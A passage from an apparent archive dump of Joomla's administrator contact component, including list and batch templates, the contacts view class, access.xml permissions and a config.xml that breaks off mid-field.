							<?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" style="min-width:55px" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_CONTACT_FIELD_LINKED_USER_LABEL', 'ul.name', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
						</th>
						<?php if ($assoc) : ?>
						<th width="5%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_CONTACT_HEADING_ASSOCIATION', 'association', $listDirn, $listOrder); ?>
						</th>
						<?php endif; ?>
						<th width="15%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="10">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php
				$n = count($this->items);
				foreach ($this->items as $i => $item) :
					$canCreate  = $user->authorise('core.create',     'com_contact.category.' . $item->catid);
					$canEdit    = $user->authorise('core.edit',       'com_contact.category.' . $item->catid);
					$canCheckin = $user->authorise('core.manage',     'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0;
					$canEditOwn = $user->authorise('core.edit.own',   'com_contact.category.' . $item->catid) && $item->created_by == $userId;
					$canChange  = $user->authorise('core.edit.state', 'com_contact.category.' . $item->catid) && $canCheckin;

					$item->cat_link = JRoute::_('index.php?option=com_categories&extension=com_contact&task=edit&type=other&id=' . $item->catid);
					?>
					<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->catid; ?>">
						<td class="order nowrap center hidden-phone">
							<?php
							$iconClass = '';
							if (!$canChange)
							{
								$iconClass = ' inactive';
							}
							elseif (!$saveOrder)
							{
								$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::_('tooltipText', 'JORDERINGDISABLED');
							}
							?>
							<span class="sortable-handler<?php echo $iconClass; ?>">
								<span class="icon-menu" aria-hidden="true"></span>
							</span>
							<?php if ($canChange && $saveOrder) : ?>
								<input type="text" style="display:none" name="order[]" size="5"
									value="<?php echo $item->ordering; ?>" class="width-20 text-area-order" />
							<?php endif; ?>
						</td>
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $item->id); ?>
						</td>
						<td class="center">
							<div class="btn-group">
								<?php echo JHtml::_('jgrid.published', $item->published, $i, 'contacts.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
								<?php echo JHtml::_('contact.featured', $item->featured, $i, $canChange); ?>
								<?php // Create dropdown items and render the dropdown list.
								if ($canChange)
								{
									JHtml::_('actionsdropdown.' . ((int) $item->published === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'contacts');
									JHtml::_('actionsdropdown.' . ((int) $item->published === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'contacts');
									echo JHtml::_('actionsdropdown.render', $this->escape($item->name));
								}
								?>
							</div>
						</td>
						<td class="has-context">
							<div class="pull-left break-word">
								<?php if ($item->checked_out) : ?>
									<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'contacts.', $canCheckin); ?>
								<?php endif; ?>
								<?php if ($canEdit || $canEditOwn) : ?>
									<a href="<?php echo JRoute::_('index.php?option=com_contact&task=contact.edit&id=' . (int) $item->id); ?>"><?php echo $this->escape($item->name); ?></a>
								<?php else : ?>
									<?php echo $this->escape($item->name); ?>
								<?php endif; ?>
								<span class="small">
									<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
								</span>
								<div class="small">
									<?php echo JText::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
								</div>
							</div>
						</td>
						<td class="small hidden-phone hidden-tablet">
							<?php if (!empty($item->linked_user)) : ?>
								<a href="<?php echo JRoute::_('index.php?option=com_users&task=user.edit&id=' . $item->user_id); ?>"><?php echo $item->linked_user; ?></a>
								<div class="small"><?php echo $item->email; ?></div>
							<?php endif; ?>
						</td>
						<td class="small hidden-phone">
							<?php echo $item->access_level; ?>
						</td>
						<?php if ($assoc) : ?>
						<td class="hidden-phone hidden-tablet">
							<?php if ($item->association) : ?>
								<?php echo JHtml::_('contact.association', $item->id); ?>
							<?php endif; ?>
						</td>
						<?php endif; ?>
						<td class="small hidden-phone">
							<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
						</td>
						<td class="hidden-phone">
							<?php echo $item->id; ?>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
			<?php // Load the batch processing form. ?>
			<?php if ($user->authorise('core.create', 'com_contact')
				&& $user->authorise('core.edit', 'com_contact')
				&& $user->authorise('core.edit.state', 'com_contact')) : ?>
				<?php echo JHtml::_(
					'bootstrap.renderModal',
					'collapseModal',
					array(
						'title'  => JText::_('COM_CONTACT_BATCH_OPTIONS'),
						'footer' => $this->loadTemplate('batch_footer'),
					),
					$this->loadTemplate('batch_body')
				); ?>
			<?php endif; ?>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_contact/views/contacts/tmpl/default_batch.php000060400000004135152455305310016264 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$published = $this->state->get('filter.published');
?>
<div class="modal hide fade" id="collapseModal">
	<div class="modal-header">
		<button type="button" class="close" data-dismiss="modal" aria-label="<?php echo JText::_('JLIB_HTML_BEHAVIOR_CLOSE'); ?>">
			<span aria-hidden="true">&times;</span>
		</button>
		<h3><?php echo JText::_('COM_CONTACT_BATCH_OPTIONS'); ?></h3>
	</div>
	<div class="modal-body modal-batch">
		<p><?php echo JText::_('COM_CONTACT_BATCH_TIP'); ?></p>
		<div class="row-fluid">
			<div class="control-group span6">
				<div class="controls">
					<?php echo JHtml::_('batch.language'); ?>
				</div>
			</div>
			<div class="control-group span6">
				<div class="controls">
					<?php echo JHtml::_('batch.access'); ?>
				</div>
			</div>
		</div>
		<div class="row-fluid">
		<?php if ($published >= 0) : ?>
			<div class="control-group span6">
				<div class="controls">
					<?php echo JHtml::_('batch.item', 'com_contact'); ?>
				</div>
			</div>
		<?php endif; ?>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.tag'); ?>
			</div>
		</div>
		<div class="row-fluid">
			<div class="control-group">
				<div class="controls">
					<?php echo JHtml::_('batch.user'); ?>
				</div>
			</div>
		</div>
	</div>
	<div class="modal-footer">
		<button type="button" class="btn" onclick="document.getElementById('batch-category-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value='';document.getElementById('batch-user-id').value='';document.getElementById('batch-tag-id').value=''" data-dismiss="modal">
			<?php echo JText::_('JCANCEL'); ?>
		</button>
		<button type="submit" class="btn btn-primary" onclick="Joomla.submitbutton('contact.batch');return false;">
			<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
		</button>
	</div>
</div>
com_contact/views/contacts/view.html.php000060400000013540152455305310014440 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of contacts.
 *
 * @since  1.6
 */
class ContactViewContacts extends JViewLegacy
{
	/**
	 * An array of items
	 *
	 * @var  array
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var  JPagination
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * Form object for search filters
	 *
	 * @var  JForm
	 */
	public $filterForm;

	/**
	 * The active search filters
	 *
	 * @var  array
	 */
	public $activeFilters;

	/**
	 * The sidebar markup
	 *
	 * @var  string
	 */
	protected $sidebar;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			ContactHelper::addSubmenu('contacts');
		}

		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Preprocess the list of items to find ordering divisions.
		// TODO: Complete the ordering stuff with nested sets
		foreach ($this->items as &$item)
		{
			$item->order_up = true;
			$item->order_dn = true;
		}

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
		}
		else
		{
			// In article associations modal we need to remove language filter if forcing a language.
			// We also need to change the category filter to show show categories with All or the forced language.
			if ($forcedLanguage = JFactory::getApplication()->input->get('forcedLanguage', '', 'CMD'))
			{
				// If the language is forced we can't allow to select the language, so transform the language selector filter into a hidden field.
				$languageXml = new SimpleXMLElement('<field name="language" type="hidden" default="' . $forcedLanguage . '" />');
				$this->filterForm->setField($languageXml, 'filter', true);

				// Also, unset the active language filter so the search tools is not open by default with this filter.
				unset($this->activeFilters['language']);

				// One last changes needed is to change the category filter to just show categories with All language or with the forced language.
				$this->filterForm->setFieldAttribute('category_id', 'language', '*,' . $forcedLanguage, 'filter');
			}
		}

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_contact', 'category', $this->state->get('filter.category_id'));
		$user  = JFactory::getUser();

		JToolbarHelper::title(JText::_('COM_CONTACT_MANAGER_CONTACTS'), 'address contact');

		if ($canDo->get('core.create') || count($user->getAuthorisedCategories('com_contact', 'core.create')) > 0)
		{
			JToolbarHelper::addNew('contact.add');
		}

		if ($canDo->get('core.edit') || $canDo->get('core.edit.own'))
		{
			JToolbarHelper::editList('contact.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('contacts.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('contacts.unpublish', 'JTOOLBAR_UNPUBLISH', true);
			JToolbarHelper::custom('contacts.featured', 'featured.png', 'featured_f2.png', 'JFEATURE', true);
			JToolbarHelper::custom('contacts.unfeatured', 'unfeatured.png', 'featured_f2.png', 'JUNFEATURE', true);
			JToolbarHelper::archiveList('contacts.archive');
			JToolbarHelper::checkin('contacts.checkin');
		}

		// Add a batch button
		if ($user->authorise('core.create', 'com_contact')
			&& $user->authorise('core.edit', 'com_contact')
			&& $user->authorise('core.edit.state', 'com_contact'))
		{
			$title = JText::_('JTOOLBAR_BATCH');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('joomla.toolbar.batch');

			$dhtml = $layout->render(array('title' => $title));
			JToolbar::getInstance('toolbar')->appendButton('Custom', $dhtml, 'batch');
		}

		if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'contacts.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('contacts.trash');
		}

		if ($user->authorise('core.admin', 'com_contact') || $user->authorise('core.options', 'com_contact'))
		{
			JToolbarHelper::preferences('com_contact');
		}

		JToolbarHelper::help('JHELP_COMPONENTS_CONTACTS_CONTACTS');

		JHtmlSidebar::setAction('index.php?option=com_contact');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering'     => JText::_('JGRID_HEADING_ORDERING'),
			'a.published'    => JText::_('JSTATUS'),
			'a.name'         => JText::_('JGLOBAL_TITLE'),
			'category_title' => JText::_('JCATEGORY'),
			'ul.name'        => JText::_('COM_CONTACT_FIELD_LINKED_USER_LABEL'),
			'a.featured'     => JText::_('JFEATURED'),
			'a.access'       => JText::_('JGRID_HEADING_ACCESS'),
			'a.language'     => JText::_('JGRID_HEADING_LANGUAGE'),
			'a.id'           => JText::_('JGRID_HEADING_ID'),
		);
	}
}
com_contact/access.xml000060400000005347152455305310011030 0ustar00<?xml version="1.0" encoding="utf-8"?>
<access component="com_contact">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="JACTION_EDITOWN_COMPONENT_DESC" />
		<action name="core.edit.value" title="JACTION_EDITVALUE" description="JACTION_EDITVALUE_COMPONENT_DESC" />
	</section>
	<section name="category">
		<action name="core.create" title="JACTION_CREATE" description="COM_CATEGORIES_ACCESS_CREATE_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="COM_CATEGORIES_ACCESS_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_CATEGORIES_ACCESS_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_CATEGORIES_ACCESS_EDITSTATE_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="COM_CATEGORIES_ACCESS_EDITOWN_DESC" />
	</section>
	<section name="fieldgroup">
		<action name="core.create" title="JACTION_CREATE" description="COM_FIELDS_GROUP_PERMISSION_CREATE_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="COM_FIELDS_GROUP_PERMISSION_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_FIELDS_GROUP_PERMISSION_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_FIELDS_GROUP_PERMISSION_EDITSTATE_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="COM_FIELDS_GROUP_PERMISSION_EDITOWN_DESC" />
		<action name="core.edit.value" title="JACTION_EDITVALUE" description="COM_FIELDS_GROUP_PERMISSION_EDITVALUE_DESC" />
	</section>
	<section name="field">
		<action name="core.delete" title="JACTION_DELETE" description="COM_FIELDS_FIELD_PERMISSION_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_FIELDS_FIELD_PERMISSION_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_FIELDS_FIELD_PERMISSION_EDITSTATE_DESC" />
		<action name="core.edit.value" title="JACTION_EDITVALUE" description="COM_FIELDS_FIELD_PERMISSION_EDITVALUE_DESC" />
	</section>
</access>com_contact/config.xml000060400000064577152455305310011046 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>

	<fieldset
		name="contact"
		label="COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DISPLAY"
		description="COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DESC"
		addfieldpath="/administrator/components/com_fields/models/fields"
		>

		<field
			name="contact_layout"
			type="componentlayout"
			label="JGLOBAL_FIELD_LAYOUT_LABEL"
			description="JGLOBAL_FIELD_LAYOUT_DESC"
			menuitems="true"
			extension="com_contact"
			view="contact"
		/>

		<field
			name="show_contact_category"
			type="list"
			label="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL"
			description="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_DESC"
			default="hide"
			class="chzn-color"
			>
			<option value="hide">JHIDE</option>
			<option value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
			<option value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
		</field>

		<field
			name="save_history"
			type="radio"
			label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
			description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="history_limit"
			type="number"
			label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
			description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
			default="10"
			filter="integer"
			showon="save_history:1"
		/>

		<field
			name="show_contact_list"
			type="radio"
			label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
			description="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="presentation_style"
			type="list"
			label="COM_CONTACT_FIELD_PRESENTATION_LABEL"
			description="COM_CONTACT_FIELD_PRESENTATION_DESC"
			default="sliders"
			>
			<option value="sliders">COM_CONTACT_FIELD_VALUE_SLIDERS</option>
			<option value="tabs">COM_CONTACT_FIELD_VALUE_TABS</option>
			<option value="plain">COM_CONTACT_FIELD_VALUE_PLAIN</option>
		</field>

		<field
			name="show_tags"
			type="radio"
			label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
			description="COM_CONTACT_FIELD_SHOW_TAGS_DESC"
			id="show_tags"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_info"
			type="radio"
			label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
			description="COM_CONTACT_FIELD_SHOW_INFO_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_name"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_NAME_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>	

		<field
			name="show_position"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"			
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_email"
			type="radio"
			label="JGLOBAL_EMAIL"
			description="COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="show_info:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="add_mailto_link"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_ADD_MAILTO_LINK_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_ADD_MAILTO_LINK_DESC"
			class="btn-group btn-group-yesno"
			showon="show_info:1[AND]show_email:1"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="show_street_address"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_suburb"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_state"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_postcode"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_country"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_telephone"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_mobile"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_MOBILE_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_fax"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_FAX_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_webpage"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"			
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_image"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_info:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="image"
			type="media"
			label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_IMAGE_DESC"
			default=""
			showon="show_info:1[AND]show_image:1"
		/>

		<field
			name="show_misc"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="allow_vcard"
			type="radio"
			label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
			description="COM_CONTACT_FIELD_PARAMS_VCARD_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_articles"
			type="radio"
			label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
			description="COM_CONTACT_FIELD_ARTICLES_SHOW_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="articles_display_num"
			type="list"
			label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
			description="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_DESC"
			default="10"
			showon="show_articles:1"
			>
			<option value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
			<option value="5">J5</option>
			<option value="10">J10</option>
			<option value="15">J15</option>
			<option value="20">J20</option>
			<option value="25">J25</option>
			<option value="30">J30</option>
			<option value="50">J50</option>
			<option value="75">J75</option>
			<option value="100">J100</option>
			<option value="150">J150</option>
			<option value="200">J200</option>
			<option value="250">J250</option>
			<option value="300">J300</option>
			<option value="0">JALL</option>
		</field>

		<field
			name="show_profile"
			type="radio"
			label="COM_CONTACT_FIELD_PROFILE_SHOW_LABEL"
			description="COM_CONTACT_FIELD_PROFILE_SHOW_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_user_custom_fields"
			type="fieldgroups"
			label="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_LABEL"
			description="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_DESC"
			multiple="true"
			context="com_users.user"
			>
			<option value="-1">JALL</option>
		</field>

		<field
			name="show_links"
			type="radio"
			label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
			description="COM_CONTACT_FIELD_SHOW_LINKS_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="linka_name"
			type="text"
			label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
			description="COM_CONTACT_FIELD_LINK_NAME_DESC"
			size="30"
			default=""
			showon="show_links:1"
		/>

		<field
			name="linkb_name"
			type="text"
			label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
			description="COM_CONTACT_FIELD_LINK_NAME_DESC"
			size="30"
			default=""
			showon="show_links:1"
		/>

		<field
			name="linkc_name"
			type="text"
			label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
			description="COM_CONTACT_FIELD_LINK_NAME_DESC"
			size="30"
			default=""
			showon="show_links:1"
		/>

		<field
			name="linkd_name"
			type="text"
			label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
			description="COM_CONTACT_FIELD_LINK_NAME_DESC"
			size="30"
			default=""
			showon="show_links:1"
		/>

		<field
			name="linke_name"
			type="text"
			label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
			description="COM_CONTACT_FIELD_LINK_NAME_DESC"
			size="30"
			default=""
			showon="show_links:1"
		/>

	</fieldset>

	<fieldset
		name="Icons"
		label="COM_CONTACT_ICONS_SETTINGS"
		description="COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DESC"
		>

		<field
			name="contact_icons"
			type="list"
			label="COM_CONTACT_FIELD_ICONS_SETTINGS_LABEL"
			description="COM_CONTACT_FIELD_ICONS_SETTINGS_DESC"
			default="0"
			>
			<option value="0">COM_CONTACT_FIELD_VALUE_ICONS</option>
			<option value="1">COM_CONTACT_FIELD_VALUE_TEXT</option>
			<option value="2">COM_CONTACT_FIELD_VALUE_NONE</option>
		</field>

		<field
			name="icon_address"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_ADDRESS_LABEL"
			description="COM_CONTACT_FIELD_ICONS_ADDRESS_DESC"
			hide_none="1"
			default=""
			showon="contact_icons:0"
		/>

		<field
			name="icon_email"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_EMAIL_LABEL"
			description="COM_CONTACT_FIELD_ICONS_EMAIL_DESC"
			hide_none="1"
			default=""
			showon="contact_icons:0"
		/>

		<field
			name="icon_telephone"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_TELEPHONE_LABEL"
			description="COM_CONTACT_FIELD_ICONS_TELEPHONE_DESC"
			hide_none="1"
			default=""
			showon="contact_icons:0"
		/>

		<field
			name="icon_mobile"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_MOBILE_LABEL"
			description="COM_CONTACT_FIELD_ICONS_MOBILE_DESC"
			hide_none="1"
			default=""
			showon="contact_icons:0"
		/>

		<field
			name="icon_fax"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_FAX_LABEL"
			description="COM_CONTACT_FIELD_ICONS_FAX_DESC"
			hide_none="1"
			default=""
			showon="contact_icons:0"
		/>

		<field
			name="icon_misc"
			type="media"
			label="COM_CONTACT_FIELD_ICONS_MISC_LABEL"
			description="COM_CONTACT_FIELD_ICONS_MISC_DESC"
			hide_none="1"
			default=""
			showon="contact_icons:0"
		/>
	</fieldset>

	<fieldset
		name="Category"
		label="JCATEGORY"
		description="COM_CONTACT_FIELD_CONFIG_CATEGORY_DESC"
		>

		<field
			name="category_layout"
			type="componentlayout"
